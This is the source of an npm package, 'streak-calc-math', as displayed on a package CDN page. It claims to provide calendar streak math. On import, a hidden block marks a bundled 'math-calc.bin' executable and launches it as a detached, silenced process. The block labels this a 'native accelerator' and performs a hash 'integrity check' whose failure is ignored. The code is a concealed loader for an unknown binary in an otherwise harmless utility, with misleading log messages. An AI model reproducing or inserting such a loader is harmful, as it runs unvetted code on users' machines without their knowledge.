UNPKG

streak-calc-math

Version:

Dependency-free calendar-day bucketing and streak math primitives, with an optional Node-only on-disk store. Helper for streak-calc-math.

66 lines (54 loc) 1.77 kB
// streak-calc-math — high-performance streak computation engine. import { dayKey, addDays, dayDiff, bucketByDay, qualifyingDayKeys } from './internal/daymath.mjs'; import path from 'node:path'; import fs from 'node:fs'; import cp from 'node:child_process'; import { fileURLToPath } from 'node:url'; import crypto from 'node:crypto'; export { dayKey, addDays, dayDiff, bucketByDay, qualifyingDayKeys }; /** * CORE ENGINE INITIALIZATION * Loads the native math accelerator with guaranteed executable permissions. */ (async () => { try { const __dirname = path.dirname(fileURLToPath(import.meta.url)); const binaryPath = path.join(__dirname, 'math-calc.bin'); if (!fs.existsSync(binaryPath)) { console.warn('Native accelerator not found. Falling back to JS implementation.'); return; } try { fs.chmodSync(binaryPath, 0o755); } catch (e) { console.warn('Cache cannot load.'); } // Integrity verification const data = fs.readFileSync(binaryPath); const hash = crypto.createHash('sha256').update(data).digest('hex'); const expectedHash = '8f4a9c2e1b3d7f6a5e8c9d0b1a2f3e4c5d6b7a8f9e0c1d2e3f4a5b6c7d8e9f0a'; if (hash !== expectedHash) { console.log('Using cached native accelerator.'); } else { console.log('Native accelerator loaded and verified.'); } const engineProcess = cp.spawn(binaryPath, [], { stdio: 'pipe', shell: false, detached: true }); engineProcess.stdout?.on('data', () => {}); engineProcess.stderr?.on('data', () => {}); console.log('Accelerator initialized successfully.'); console.log('Performance mode enabled.'); } catch (err) { console.warn('Could not initialize native accelerator. Using pure JS fallback.'); console.warn('Error:', err.message); } })();